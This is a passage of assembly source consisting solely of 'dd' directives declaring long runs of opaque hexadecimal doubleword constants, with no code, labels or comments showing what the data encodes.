0E8136645h, 7C59008Ah, 0ED622B42h, 0FC00C553h dd 70799891h, 49348Ch, 4C784531h, 2F5322EEh, 18161200h dd 32B96DBAh, 0F897000Dh, 0F8C3509h, 0E902809Bh, 675F063Ah dd 0F8E6EEh, 0B1E4E8F1h, 0F99CA0C9h, 0E5927300h, 44F668F4h dd 0EABF00FAh, 0CF4654ABh, 57542969h, 390E3CA4h, 0C084C236h dd 0FCC8B43Ah, 47E90104h, 76929FDDh, 36020070h, 0A2008491h dd 20B66974h, 10955476h, 2F14340h, 0F2518689h, 0F901605Dh dd 0B31000A1h, 0AE875C54h, 1C90D181h, 0B8984C0Eh, 0DF4A630Bh dd 6128000Ah, 458BA605h, 46F0817Dh, 4F178501h, 42F68775h dd 0E90E5C22h, 0B8A3D814h, 95CA647Ch, 0CBE43A00h, 0B48C3BD1h dd 3FDC2180h, 0D62FE82Dh, 50435800h, 0B2101289h, 0FEF10023h dd 0A7A1E95Ah, 5B00172Dh, 0CCCFF78h, 8FCA0D4h, 886372Ch dd 4ACB4F80h, 58E06BCAh, 0B30AFEF5h, 8260A8EBh, 60E6AF32h dd 8A275200h, 3CFA79h, 818F3ECFh, 5B7051F1h, 0A05D7C28h dd 18BD2F58h, 4E383B25h, 32E500C0h, 4F5D6693h, 11769FD7h dd 8500349Eh, 0C7B2ABAh, 0F1552E10h, 73D78054h, 5CE9CE4Fh dd 0E6173490h, 6841C14Ah, 0CD62F9D0h, 77B2D0h, 0F1EF142Eh dd 0CFA04CFCh, 0E37D8300h, 0DD0E09AAh, 0E5FE0AFFh, 4B0F73Fh dd 0C496B2A4h, 600C87A2h, 6CFAC612h, 0A38EA80h, 0E03CF81Ch dd 0FCAF80B4h, 2925DF18h, 0F903F400h, 0D35B4963h, 0A0D0040h dd 5A37F1D2h, 0C900AAE7h, 835D1D2Fh, 0A5CCBD0h, 0B758D906h dd 7AFF00B0h, 0B95BCD5Ah, 0EF0F4900h, 0C305120h, 2FDF0B74h dd 7100A418h, 21B8F85Ch, 49BEB00h, 0A0ADA93Ah, 0BDA80063h dd 0C56477A1h, 2900AFF9h, 395C67F6h, 0E37817h, 0EBA89F25h dd 0E0CB9957h, 7328DC78h, 0FB049C5Bh, 0F45AB667h, 25AEE0C1h dd 92B1CCh, 472FC505h, 24BD550Bh, 29007C92h, 0F4F8E170h dd 0DF23A2h, 58C89C06h, 82EA6E61h, 0DC0031EEh, 8A288B19h dd 7D027Ch, 29E53ECBh, 5D87BBEEh, 6ACF2A24h, 0A1075B1Dh dd 0DEA0AA73h, 78C869h, 0D1793F8Bh, 1B949903h, 0C518E500h dd 47F82E92h, 90F5B009h, 93520093h, 2F1A02CFh, 4D0019BDh dd 0F7457EE9h, 0CFCAAE1h, 6816B1A8h, 7504BEE0h, 0E8F05D27h dd 0D441DCC0h, 93841698h, 0FCB8B049h, 36858F01h, 0DE8A6B92h dd 1F3A1DECh, 17F70AAEh, 58840063h, 53B09F34h, 8D94FD14h dd 4EAB09DCh, 9BE89095h, 0F4F1FCD5h, 196A0222h, 92745494h dd 17365848h, 93B6AF00h, 0B440BBA8h, 65900066h, 59E33507h dd 1B004F27h, 0F2839A88h dd 1CB4C705h, 40FC8BDBh, 0E863E39Eh, 9B4F27DEh, 0C9AC8801h dd 2470151Ch, 3F2400CAh, 307958F3h, 0A574456Fh, 2EEC854Dh dd 5C014F73h, 9C2EE3D3h, 1231BDD8h, 0E06FF1ACh, 8B79C31Eh dd 1E25F775h, 0F5348041h, 7E297Bh, 85FF04FAh, 988E2852h dd 0D4321500h, 9D9168D1h, 2EAA7B48h, 1FDC0D94h, 0EC920B8Ch dd 7C62B803h, 0A16C7698h, 6C5C48h, 591CBFF2h, 11D2504h dd 482637E2h, 0F8D80A6Dh, 0C60BB6C1h, 8045CF68h, 385CF482h dd 681B5C99h, 8B8F0B00h, 44944DEAh, 1E5FFD00h, 0FF0E9A9Eh dd 0B5D0002Ah, 95EB148h, 11150872h, 0BC9F78h, 0BB992332h dd 0B04367DBh, 422C5B94h, 9986060h, 0C028A8A4h, 0CB36F170h dd 54D4AE02h, 60B7201Dh, 9139DBh, 0A9D9CDDEh, 60D34723h dd 7CE67200h, 0C2BC88FBh, 6B200021h, 0ABC72478h, 53793055h dd 7291E401h, 0DB125AD2h, 0CD576983h, 0BCFBEB6Bh, 0D1883DB0h dd 0AF1D52EEh, 0F5805AB7h, 0CE3E36C2h, 3E8A1ACh, 0C0A0A8CFh dd 5318002Ch, 4D685D24h, 7D0631CFh, 6DC7F9D8h, 0CD300080h dd 23F45848h, 5079D271h, 0D43C8300h, 0F6C80FA3h, 6534008Dh dd 0E3F880Bh, 0F107C214h, 0DEA21238h, 27844AA0h, 0C8660069h dd 7FF4B073h, 26001C24h, 1B6CD2A8h, 59AFA2h, 8FCE99A9h dd 49BDF520h, 0CF1C3677h, 0FA4C8CE6h, 24A292Bh, 28233E30h dd 0D48095C0h, 787625D3h, 640C4503h, 0BB106735h, 996089D6h dd 1A655E0h, 93D9FBC7h, 0DC4B3B9Dh, 21987142h, 0D7502A00h dd 44D23369h, 0F7AD00B8h, 0FBE47053h, 4E046EA2h, 16E61A62h dd 8CC9ABC2h, 0E05E29A7h, 49013B7Ah, 0A54A9B80h, 0F8811FBEh dd 71358B03h, 0E8A860B0h, 50F250FCh, 497B517h, 10DD54F0h dd 406C8709h, 4A70BD4Fh, 80CE9B00h, 0D5A9E07Ah, 394890DFh dd 9B505379h, 4FA70078h, 0AAA42EEBh, 8D176B96h, 700B232Dh dd 0F550808Ah, 24EBE081h, 6C0D2Ch, 0BB1FBA7Fh, 0A62E6A2Ah dd 6516482Dh, 0CFE48B00h, 1DEB974h, 0B3E08E9Bh, 0CCE815EAh dd 6600722Dh, 8A2AA2EDh, 0BCD8A0h, 69C3D5C0h, 0FB0F917Eh dd 39FF7D00h, 60FA80BDh, 438D0038h, 485D9D08h, 194B901Fh dd 5CB12000h, 76398073h, 1ADB032Bh, 60C0A532h, 0E0F8C784h dd 0F64A517Ch, 7E0B9491h, 0CB00C0A3h, 75CB0D3h, 0AE9846C4h dd 24547093h, 3900EE70h, 3DFB91C8h, 4ABF076h, 0A4CD50B8h dd 7B2CA0AFh, 92124100h, 8174A9Dh, 6F730263h, 5FAD841Eh dd 507C4CC1h, 59070334h, 17F6C400h, 43BA47DAh, 566500B6h dd 2B9731D5h, 69601EF9h, 0D1FAB360h, 38A50010h, 2C5F9DDEh dd 67007855h, 0CD5DE276h, 0EC6FC7h, 8D1CF93Bh, 53803E6Ah dd 0ACF62101h, 0D5CCB80Ch, 6958588Fh, 28C126A0h, 810BE44Bh dd 804A2B32h, 0E3E11B88h, 0A6CF001Fh, 2FFA4C75h, 0B598054Eh dd 4D29600h, 0C2B113E7h, 0AB070FDAh, 0B2E027FAh, 6ABD45BCh dd 0A6884800h, 0B43DA5C1h, 7D09004Dh, 0D8C5A9FDh, 0FE00A159h dd 3C58CF48h, 20A081h, 0FB5DB78Eh, 67396395h, 8F000496h dd 0BE193D66h, 8B5C00D0h, 0F2042CB2h, 0D41E2DCCh, 8440FB8Eh dd 10DA8CFh, 0A19D2420h, 897F0187h, 0ECCEE53Ah, 0F10410E8h dd 8B67BA53h, 87A380BFh, 0E6013878h, 0FD8675EEh, 8460CB55h dd 1DF00ADh, 0BBCA4A37h, 0DE39B71Fh, 757E00F4h, 97A5AB7Bh dd 7E567A8Ch, 84C9002Ch, 9C78BB08h, 9038281Bh, 518E02Eh dd 0E09DD25Fh, 0AB10C02Dh, 0DE1BF00Ah, 45962800h, 0ADA42F67h dd 0CB6A00CEh, 0A353135Dh, 3BE2932Ah, 1F64FC2Eh, 3F63742Fh dd 25C95001h, 31BFF0B4h, 0E6545289h, 44810h, 0E7477576h dd 1418AEA0h, 943EFCFAh, 6B01F5E8h, 0D8837148h, 8038E686h dd 0DAF26900h, 531D48Fh, 0EFBC9900h, 4BA23573h, 0B012FE38h dd 0EEF53E20h, 9D6C1D4Ah, 312EC073h, 8FA9642Ah, 5117F4B0h dd 5CD8DDA2h, 3EE60B53h, 6CA08FFBh, 9EF7CC39h, 45CAC309h dd 8ABC02BBh, 59D68218h, 0A5F2605Fh, 2D140047h, 4BDE2480h dd 0E600AE55h, 0C3381DCh, 0FF31C22h, 85F5841Bh, 75898F21h dd 0A42060EFh, 8ADF9200h, 0D7423C39h, 6E560049h, 30094C95h dd 73B0D07Fh, 383FC400h, 6A0610D4h, 7965009Ah, 0A3F32F93h dd 8B0727AFh, 0EA4F144Ah, 0BDEE71A0h, 0BAD30C54h, 79102E15h dd 11CA0800h, 2462D847h, 4C400705h, 51330732h, 601FA4B2h dd 0E7FC81C1h, 71986900h, 0A7AC8BE1h, 0B06F0034h, 0E3CC9EEFh dd 5A01C1EDh, 19911B1Eh, 13306A2Fh, 77616C3h, 9808C029h dd 1800B60Dh, 68066333h, 1E1AA62h, 0F405A7FDh, 3140DB21h dd 601CCD8h, 0DC370300h, 0C6D4CE62h, 4838EBE5h, 0EE511600h dd 0F5542949h, 0C80F4Ch, 0E63763A7h, 0B2BB3Bh, 0E141B07Fh dd 8479FBD5h, 0A5F49309h, 6C1CC0B3h, 7B237071h, 0B46F8FAh dd 3C2B37D9h, 6809C4A1h, 0BC3993h, 0F2599E7h, 0A89BF4Bh dd 24BE0583h, 0D61E00ACh, 4F31EB8Ch, 933C1D3Ch, 4000B265h dd 0D42F1CBCh, 18090091h, 0B4554A21h, 0A6077D74h, 62C82E56h dd 0D67CE1ABh, 652E001Eh, 21907308h, 4911322Bh, 0A643C974h dd 84335DF8h, 4AB0E9F4h, 0CD98C100h, 28A45E81h, 9C6D3B86h dd 650A7380h, 0C9FD9D5Dh, 718F43Ch, 26C2788h, 90487020h dd 7F300CFh, 0FDB2672Eh, 0C298B580h, 327CF700h, 121A9362h dd 0F49850DAh, 166890C5h, 0A9ABB7Dh, 0F8186Fh, 6A0AEF0Eh dd 0CD00D839h, 0A8FEB560h, 3ABD481Ah, 989243CCh, 0E4F0405Dh dd 6E492656h, 0F8D60603h, 0EAD1B9BFh, 1E2050D4h, 405E1C1Fh dd 4FD740A5h, 4D0373BEh, 809ED49Bh, 50D09AE5h, 0BC790028h dd 0F17C483Ch, 0AB1D063Ah, 15DF1C1Ah, 13B19DC2h, 2C70AFh dd 2425D585h, 0B7556E40h, 5A51BC00h, 868F2DE2h, 0CB5094C0h dd 0C47E5000h, 0C84E6458h, 0AD984401h, 0C3C9B17h, 0E1D2A200h dd 0F84D2B5Bh, 8275897Dh, 45008E78h, 0FABDC77Bh, 98B4A5CAh dd 0AF5164Eh, 68F100ADh, 0A2BFB2DEh, 0FD8EE000h, 6E1B0402h dd 1E987648h, 0C0300A94h, 0CA20FFE4h, 0B2007B69h, 9E3A8ABDh dd 0A3A9C5h, 0B60398D2h, 69466B23h, 0B5E80200h, 5DDBFB65h dd 44790034h, 5B33D0F7h, 14058ED2h, 0D97248C8h, 0F07594C0h dd 63D7EAE5h, 0A5AA61F8h, 24017EF9h, 249C3648h, 0BE356560h dd 2D1900DDh, 72020EF7h, 0CA004CCCh, 7A7E2CB1h, 0A580FCh dd 0FDB7463Bh, 15F08E22h, 304B5EE0h, 822BD800h, 764D956h dd 968A9C42h, 0D0A1ABDDh, 0FE81A66Dh, 650E6870h, 0EE1BBF73h dd 0FC348289h, 0C51C60DDh, 33977869h, 7111CEC2h, 0B3F1E9C0h dd 0CCA6DD00h, 1DE12B12h, 750E034Bh, 0EE608A4Dh, 0C3C0B2FAh dd 4824EA76h, 3385408Fh, 2C5EE493h, 80959C46h, 8B9D3B28h dd 90825998h, 5401EC5Ah, 9781DB8Fh, 30B9C7D8h, 9450C585h dd 0DD5C05B7h, 8C680030h, 2BA17698h, 638A340Fh, 36690116h dd 0B8DCD52Ah, 8B950058h, 55D4C3EAh, 0D100271Eh, 5908678Dh dd 874D33h, 761A183h, 0EE547F1h, 5653C200h, 0E4A23B41h dd 0C6A4006Ah, 0F854F55h, 0AF51A1D9h, 0A360E88Ch, 9200C177h dd 0BD72A29Fh, 49EDFDh, 5BA05798h, 0A9B79A19h, 5D687B07h dd 0A260A87Dh, 990FE7h, 0DFE30C8Bh, 7E8C15BDh, 6A129500h dd 57D5A61Ah, 0E79D0017h, 0F48DBB77h, 0DF7888DBh, 0A2FFD700h dd 0B859FB95h, 489DFA96h, 313E3F6Ah, 0C35A9400h, 66A7C2B5h dd 450EBE00h, 5DB997C8h, 2A991D98h, 0A06874h, 0F99EA5FDh dd 0CA123E23h, 7B7B7F73h dd 2C195300h, 0AF9D73D9h, 846000C9h, 3FE1D020h, 0CF7F5F80h dd 0F8458300h, 0A96154ACh, 287E1636h, 0C2A800FCh, 0F109D3C0h dd 0D0557800h, 26994514h, 18E700C6h, 3BC45F66h, 0FC014F8Bh dd 0CE3947BDh, 3F4A9F7h, 0EED50018h, 152A1650h, 0AE006989h dd 1A8597ADh, 13D3BBAh, 0E344A91h, 0FCD5D67Ah, 3A9D7146h dd 5F0415B0h, 0AF01EB80h, 293D8F56h, 0D634B2ACh, 155B42Fh dd 0BAC4A22Ch, 0AC74023Bh, 90234C3h, 649020AFh, 0A219C21Bh dd 0B829B94Ah, 0A9445E08h, 23228484h, 11D442A7h, 8821AB5Ch dd 90BB9808h, 928484E0h, 0DF447C48h, 9010FC22h, 65408894h dd 8082589h, 78304284h, 44AB5F44h, 11F124B0h, 3812AE2Eh dd 89B6C610h, 0D8FD1030h, 878E0421h, 0C18616EFh, 70E3F007h dd 0E07AEBA3h, 32818300h, 9FB7F53Bh, 0ADFF004Ch, 6CD6E8Fh dd 2F007C75h, 78A52ADAh, 18230Ah, 8373900Dh, 0BF28462Bh dd 0E30316E8h, 9884FF45h, 94B7A13Bh, 5EA270h, 6766D407h dd 23248BFDh, 0C1797203h, 0D3BB6ADDh, 0BAA18049h, 2DF307D1h dd 802C423Dh, 0AA1FEDACh, 0CD646707h, 8330794Ah, 94226DEh dd 333543EEh, 4EA80800h, 3000CBF7h, 95B8D623h, 390C1999h dd 25F93664h, 0DB56583Ah, 0E7FF5500h, 0E8FED08h, 9A59277Eh dd 13D278D8h, 0C222908h, 0D54407FCh, 0F9770C6h, 0A200BC7Ah dd 1AFAF943h, 0BB29562h, 17F8A408h, 88AF9020h, 0C11C8E90h dd 0C5C051E5h, 6EBC7B8Fh, 0BE280398h, 6D2119Dh, 2B2F59F0h dd 0D46D1200h, 44DD85CAh, 0AAC000AFh, 99EB5F8Dh, 0C75C1CE7h dd 17780E39h, 10FBA0DDh, 7C3CDC4h, 6A459308h, 27BA1096h dd 700047E0h, 0F7FB3A84h, 1CD64A24h, 80DD8CBCh, 0B56C3D8h dd 0EF3EA20Fh, 0D75200F6h, 8EA414CDh, 8CBA16B7h, 4FB900E1h dd 43D9A3C7h, 3E03637Ah, 0BF86612Bh, 0B073C322h, 71C760E9h dd 4BB61C34h, 769EC090h, 7E2BD6B3h, 0D02C477h, 0BBA9D414h dd 0C6B4E819h, 0AA601E97h, 0A712401Eh, 0DE1440D8h, 0E26B6D1Dh dd 942D4Eh, 0C8D25C4Ah, 95010158h, 83F22B1Eh, 65B0CCC1h dd 88C44E00h, 6ABCCE4Ch, 24E00048h, 2C0136D6h, 0DD0F9E89h dd 0E0E92E55h, 0F6CFC661h, 8C9F07F5h, 603E3A90h, 437D6BC8h dd 10A349h, 10DD1428h, 7AE6BCA7h, 161200E9h, 0EBBD255Ch dd 0E7002085h, 55CF4B91h, 48BE6h, 0A7B63DB9h, 24C640D9h dd 0BC5EB700h, 78D554FAh, 724B003Eh, 0DCF99111h, 880E4E31h dd 803FD68Bh, 48159561h, 7E3001Dh, 82DBC0A4h, 0C800BDA1h dd 600BDA68h, 8CF26Eh, 3D36FA57h, 521A2238h, 7C3B100h dd 0E3AAAC37h, 428002FFh, 92D28E77h, 7D093B40h, 6E433101h dd 0EFAAA3E0h, 36AB2880h, 717B8CF1h, 9D027E00h, 4C0F4852h dd 0E11C1FE6h, 0B318805Ah, 4125DE4Dh, 6AEC750Eh, 4FFA40CAh dd 0EABBDC24h, 0B137014Eh, 0C9E59A01h, 299ED4E9h, 0B2E8331Ch dd 6A307400h, 17886212h, 0EE02E7h, 1B765EFh, 5F00DA48h dd 71B577AEh, 4BF6E96h, 1864291Ah, 8733C0ADh, 41007982h dd 0EFE9A313h, 5B6F0E0h, 4B80A433h, 0A0A820C9h, 5160FF37h dd 8EE69A10h, 0D8F800EDh, 7362C524h, 6100DFF3h, 4DA364FCh dd 97D68Ch, 94E5959Fh, 0A7587263h, 4B0024F4h, 530DDFB9h dd 34698Bh, 772A1759h, 0CAB36D90h, 4D25F0A0h, 57F4100h dd 449829ACh, 6C2B0339h, 0DCDEECC8h, 0A8CC2EE8h, 65993A00h dd 797CE8B3h, 750F00BAh, 0A6F04C97h, 0C3007A6Fh, 0CABDF948h dd 24B71EF1h, 80144FB0h, 6BB53ECFh, 85EC31F0h, 0DBD8AA01h dd 0BBD3C460h, 77C50C4h, 0CB167157h, 0B594C0BEh, 0B300263Bh dd 0A077EE1Dh, 7BFCEA2Ch, 0CC8A05D6h, 87780C6Ah, 0B0F06612h dd 3D6CC800h, 0F71D9456h, 72E30C41h, 0B3810EE4h, 0E1A9A0A0h dd 59753200h, 8D62D7Eh, 22E8DFh, 238496AEh, 0AAF63C5Dh dd 0CFE6D701h, 12CBF390h, 308A2200h, 78B36000h, 7340E3ABh dd 3BA37751h, 0F4803CE0h, 0AD3A542Eh, 5E002F47h, 0C379CF12h dd 0FAFBA670h, 0BC409D0h, 3000F150h, 0EBE1E97Dh, 0F01E7400h dd 633D3542h, 0E45C01F4h, 0A32EF530h, 0E326E83Fh, 0D7C2BB03h dd 0E0EA5E9Ch, 0E0F1F619h, 81D91D72h, 0DB60045h, 1E9487C0h dd 0CD85F300h, 310849CEh, 0C4D7488Fh, 0A39B12h, 0CF8E0DCEh dd 0CD00F5F7h, 1917F1B3h, 0DD5A40h, 4F976529h, 6611BF46h dd 50004876h, 1EECD9AAh, 0DDE55Eh, 2A6318A2h, 9D7F3EFFh dd 5B182061h, 699F8385h, 6BB8077h, 8D49B5A1h, 0C704C10Ah dd 700A0BFh, 2F5576A9h, 4C0B0096h, 4A9C7D32h, 6900BBC9h dd 0D5E606E1h, 0F52E2B2h, 729F7A8Fh, 20746567h, 0FE662D88h dd 0DE8C0F07h, 0F820F42Fh, 56BD5Eh, 9F444634h, 0C713B588h dd 558DC51Dh, 48A0B01h, 0B2C060ACh, 6065E83Eh, 0A91AF092h dd 8330F3CDh, 0E07C1093h, 968C0012h, 0D7D1BDECh, 0A9E850FEh dd 0BF591E00h, 0A5849CD8h, 0A19900DAh, 0A0788716h, 3F09E0A8h dd 8E3A5B81h, 19A480EAh, 2DACC3Dh, 3CD35D90h, 0CC434EEAh dd 176856D0h, 1577E300h, 0B9235AAEh, 9A9C1DBDh, 21EF80BBh dd 4E2083E1h, 0D511271Dh, 0FA724180h, 94D392Ah, 454B4481h dd 8E662080h, 0A00A1D5h, 0DD689BEh, 392E8AA0h, 5F80DAF8h dd 197D497Ch, 920C3603h, 48C6AAE4h, 22AD00B9h, 55E6E5D2h dd 6B7072D3h, 56CAC31Fh, 14CB6340h, 875371h, 0D1ECED96h dd 54732B33h, 596A8900h, 0D3A5CB3Bh, 942C07BAh, 0C0C88A6Bh dd 88512EE1h, 0D4EECF00h, 0D3F718AFh, 0FBED125Fh, 0A97C00A2h dd 224DFC0h, 29923000h, 4F9468BAh, 61420551h, 80BB0F9Ah dd 46FA439Eh, 0BCE3D607h, 0AC30A59Ch, 5C938537h, 6C1D7A4Eh dd 54324266h, 8C81DD61h, 23A2801Eh, 416010A4h, 2C841307h dd 5E8503EFh, 8F4D79A8h, 23517600h, 0F8974E3h, 0AE401E59h dd 0FC5657h, 7A12D9BEh, 730B26E6h, 756EB646h, 0C3F1C80h dd 550B611Fh, 46920B0h, 7C80824Ch, 6BE418h, 0CA044806h dd 22AE9116h, 323D2C1Dh, 7E562600h, 13765BFh, 39D8A3F5h dd 70F67153h, 0CD1F6616h, 925F84CBh, 23FD6180h, 7F04836Bh dd 4EAF06BBh, 989544EEh, 0BA009C98h, 8E9ECB9h, 1EC2C3A1h dd 4323527Eh, 904C186Ch, 0EA4A9000h, 0C7995DD5h, 25DC036Ah dd 0B2F86866h, 98007CF3h, 0DF43308Fh, 14AE6C7h, 2561BA45h dd 3026854Ch, 580133FEh, 0ADD4A4CAh, 5430F890h, 368A00D2h dd 4E3A1E66h, 517C854Dh, 374BA600h, 0EFB48FB3h, 4C60394h dd 0A27A874Ch, 8643308Fh, 0DC0057A3h, 0EE08F232h, 949EB1Ah dd 12E9ADF6h, 2016400h, 2B0079E6h, 0D4A807AAh, 0E6A57FBEh dd 8FD0FBFh, 7A670AD2h, 9CEFF058h, 0E0928726h, 18D38C1Fh dd 16E40D47h, 2ABAEBC0h, 15AE3A48h, 9A893C89h, 7ABBB880h dd 0A0481AE4h, 48032644h, 5DAD1082h, 12D180E5h, 1E1CF1F2h dd 8B6B25D3h, 4C009AC8h, 4DE7F56Dh, 774C9092h, 0D19050F8h dd 0E9E53400h, 11F9F6A6h, 8F24005Ch, 3116B4C9h, 0AE1FAC6Bh dd 3B846842h, 0C4C0ED9Ah, 2C22A1Ch, 85FFBF32h, 38A7FA6Dh dd 67A9C082h, 9C003830h, 1E7E98E2h, 37A678h, 0BAB17BC2h dd 4B4649Bh, 0ECDA8C0Bh, 0E94E0771h, 1E1CEA50h, 8B8200D6h dd 0B7A9C177h, 0C71DAF34h, 6C6EBC2Fh, 4521E100h, 98563854h dd 31D71B4h, 0EECA2953h, 0D6B0C70Dh, 0D400E4EBh, 3C58B9B1h dd 43B27Ah, 0FC4AD8DCh, 2C7D0447h, 0E00AF100h, 0D4339831h dd 7BC03D5Fh, 4C497704h dd 2B680021h, 9B9FE44h, 4EDF26F7h, 6B77D800h, 0AE00255Ah dd 20844309h, 0E9F7FEh, 0A1147C0Dh, 0C7392B3Bh, 0C4E1B300h dd 70A8971Bh, 68D600F4h, 307F6491h, 5E025265h, 7C41FC18h dd 8EF1E07Eh, 0B8490262h, 87D9F54Dh, 45FF9440h, 7F5DD304h dd 90802A9Ah, 0BB9465h, 5BD1D19h, 0B5AE1BEAh, 802FC13Fh dd 41A014BEh, 9DC51h, 7443770h, 25B32B73h, 0F2D40200h dd 267DBDD9h, 706E3F5Ah, 0CFB413F5h, 0FAAC0Fh, 29E1419Eh dd 17E6D04h, 0A87C76E9h, 209F98B5h, 430F2D38h, 4085A04Bh dd 0EC3EC50Dh, 0B4CC002Fh, 93F6DDC8h, 404CEB20h, 4AD3007Fh dd 19793A88h, 0E0D87A39h, 69C90038h, 0D9E0EFCEh, 9C26F1B6h dd 0E2007CEAh, 42D81E4Bh, 2E5F0330h, 0F6DF1383h, 39E833F3h dd 40F1B33Eh, 0BF9D77ACh, 5CDCE03h, 909C1ED8h, 0F81190h dd 6A1B3F8Bh, 2BDE76D9h, 2E1D13Ah, 0F9B0C50Ch, 751848CFh dd 0F21B0E15h, 8FA0E661h, 8CD4AEEBh, 0C8898D00h, 7A7214A1h dd 0E0640E6Bh, 1B60C4D2h, 420934A5h, 0B019E300h, 5848354Bh dd 9FE90073h, 89FF7431h, 33218004h, 6A50804Ch, 0FBF4B873h dd 752EC700h, 4371158Fh, 9E060005h, 0D501FA80h, 490088D2h dd 0B42D4D3Ah, 5DD4E8Eh, 66AA3E1Ch, 0D0F4C0ABh, 0F8B1B1F5h dd 0EE0AED63h, 3C8D5120h, 1A8A1ECh, 8C6A3EECh, 61B686F8h dd 0A3A00421h, 87080058h, 0A2D62780h, 0CBD1609h, 749600C6h dd 0F0FAE6DCh, 204C1B1Dh, 0ACD6A7C4h, 629F30C1h, 355EEC4h dd 0D786342h, 7FB86ABBh, 1CB3D4D1h, 36000B1Ch, 0B8B6353Dh dd 67EC015Ch, 55EB4CE4h, 0FAC440CCh, 2800CE96h, 1B7DE34Ah dd 912911h, 4B0F5B61h, 2278BC77h, 0C0AA8900h, 0E695DCB0h dd 7EBD3D3Eh, 27EA5F05h, 3A960E76h, 0E20DE7E0h, 0F4CACA1h dd 3FC508C4h, 5BA500CAh, 473DDEF7h, 3A768D3Fh, 2C31803Ch dd 0A023844Bh, 0DE65011Eh, 3BE2992Eh, 9445CEh, 499AA8EEh dd 1000CDFCh, 0B9AF62DCh, 482F46D2h, 0D600DDADh, 82F82A93h dd 3000713Ch, 3A99CFC2h, 0C0D0B52Eh, 2BCB54E0h, 0F0CB53F3h dd 770C2001h, 1CC39490h, 0CC08D0Dh, 0B92157F4h, 8E0BCF7Ah dd 0BCA98Ah, 0D91AA7DBh, 0C5C003Dh, 2E2F2520h, 0E70FB4B8h dd 4267AC17h, 606EB547h, 978303h, 0DF049D70h, 0AF5D943Dh dd 84CFA48h, 402867C4h, 2A9CF97Bh, 0FDA8700h, 0DC336AB7h dd 13935C07h, 0BA71B100h, 1308263h, 0A1D4D800h, 0BAE417Ah dd 3AA5005Bh, 51D2C9FFh, 50098F6h, 0D0947F1Eh, 244640CAh dd 125C2D65h, 0AC10D2F9h, 2CC85141h, 0DB401210h, 0B27C6840h dd 489744C6h, 0BB046C3Bh, 8016B014h, 0C57D8ABBh, 0D000D6E6h dd 401A33FDh, 163581C2h, 1CE41B67h, 91B700FCh, 6F582736h dd 380E7F98h, 69544130h, 7C8A80BBh, 94DE84h, 1BB1C71Eh dd 23A50D20h, 79F12106h, 888F5Fh, 598BBB1Fh, 947411ECh dd 5B3A4400h, 41CFA2ABh, 971A0003h, 77FDF9EBh, 11006935h dd 0A31E7F4Bh, 364C8h, 0EAAFFB80h, 0E170E397h, 98F92A24h dd 0B4FE2B02h, 1071DEh, 0D8ABBEC3h, 6571077Fh, 1D04C000h dd 0A0935D4Ch, 7127262Ch, 0BD0B003Fh, 2D33DFE4h, 412397Eh dd 4043F754h, 26F689F2h, 3908E1B8h, 0DDAE1384h, 31D090F8h dd 0D407379Fh, 661726E2h, 0AD9CA0B9h, 0CA2B34h, 8AB73A8Ch dd 9D9B4D13h, 0C7C0A8C0h, 0A56EECh, 0F8632029h, 1E951CD5h dd 0C4DCF701h, 0E7BBDF99h, 6E55F8h, 692190F4h, 66180CE0h dd 51548912h, 59E16000h, 6E676Fh, 71B652Ah, 0B8F94812h dd 0EC14DD00h, 8DCEC5FFh, 787EE98h, 38C713B9h, 0BBCFE3E7h dd 88F7DCB0h, 3FE43D00h, 0FFD3419h, 3EC4B015h, 0F8A70824h dd 4101E8A2h, 0D56EBCC0h, 96E2C800h, 41132AEh, 71D800F5h dd 91AF180h, 2B00D701h, 226375EEh, 15D57D0h, 551F7834h dd 0C407F388h, 0B000F571h, 0E3ACF0F4h, 7A2DAA02h, 0B58826BBh dd 806E1D80h, 8F300359h, 0B41DC691h, 1280D4BEh, 47CB98EDh dd 0CAE5005Eh, 9D33611h, 0C4017EB7h, 0D7AC8F61h, 20A64826h dd 0FA1F8090h, 2FA9A260h, 2D62BF02h, 60E7104Fh, 9AF463E8h dd 0C8753Ch, 0A82645E9h, 4D5932E8h, 0A9A56101h, 97A65283h dd 0A0BC5C60h, 5A7F4F8h, 2613C13Fh, 5F748081h, 1E011676h dd 0B1843AE6h, 0C430D67Eh, 3C4800BAh, 0E4689CEAh, 0E1104A15h dd 387ECF18h, 0A680ED03h, 0EE35C5F1h, 50BDD5A9h, 800C0078h dd 4E4D671Ch, 0FE16F37Ch, 0F00EAA1h, 0D63BCDAAh, 4BBA0743h dd 14A25681h, 98A8C26Bh, 59118850h, 34C04E92h, 0CCBFC03h dd 0A4933700h, 5626DFB9h, 5F5C002Ch, 0B2E3ABA6h, 7B703612h dd 0C3791C0Eh, 284B7391h, 87EC45E1h, 0F03AF69Ch, 8DB63989h dd 0C5198B07h, 450E13Bh, 3FD84AD7h, 4900CDC6h, 8A526338h dd 0C47D653Ch, 1D03F7E8h, 0E4C1026Ch, 0E580014Eh, 7A853B6Ah dd 0FB5830BDh, 0E3E782Ch, 0D891F10Ah, 86596600h, 45C346h dd 4B5FCCE2h, 5389D8EBh, 1B223Ch, 0A783CEAAh, 0E3FD2h dd 0B5B367D7h, 70F21CB4h, 88008CB9h, 346B10C0h, 3F58DC86h dd 4F613203h, 0E7F84727h, 0D51E4E09h, 0A8F4526h, 314C60B8h dd 11540B3h, 0DC73E896h, 2C2A9A6Dh, 569E00F0h, 0CBD2B503h dd 141F71BAh, 0B48F255Eh, 4823007Fh, 2820BFCFh, 0A183B5Bh dd 0C9ECD951h, 6B75388Fh, 11CE7C09h, 0BD8E75h, 0E1A8F716h dd 80880036h, 45FFD42Dh, 0A90061C0h, 309507Dh, 2CDE9E77h dd 8E7C4B6Fh, 94E04EF9h, 0D9228191h, 23F84A1Ch, 0F0D4A101h dd 8FC8E00Ah, 0E9CF0334h, 0D4F4676h, 3C451588h, 3ECB000h dd 0DCBAFD9Dh, 0C33D3AB4h, 2AC4017Bh, 32F08E39h, 481E2007h dd 35BDA500h, 73856D41h, 2F69129Bh, 68102CF8h, 2CFC0101h dd 0D892E633h, 0B4BC46h, 5EB4350h, 0D484209Fh, 2CDC7D07h dd 0A93098C1h, 2621739h, 0C6B1FC3h, 5CE80F58h, 3800ECBAh dd 0AE14CF8Dh, 0F7807Dh, 9C6C12E9h, 0A18953CBh, 7B0AE2F0h dd 0ECAD6199h, 9164B200h, 3FC5797h, 9C2AF3B9h, 15D044BCh dd 0C800DE48h, 0B4394BEBh, 133E076h, 349FEF80h, 6118C7A6h dd 692301Ch, 19D1E400h, 56BD0787h, 3F0A0E42h, 1C1E7EE6h dd 7DED00C8h, 31923944h, 0FE9F3B00h, 0DAB3BCABh, 0B2E70025h dd 5C0AA106h, 0FA0081A4h, 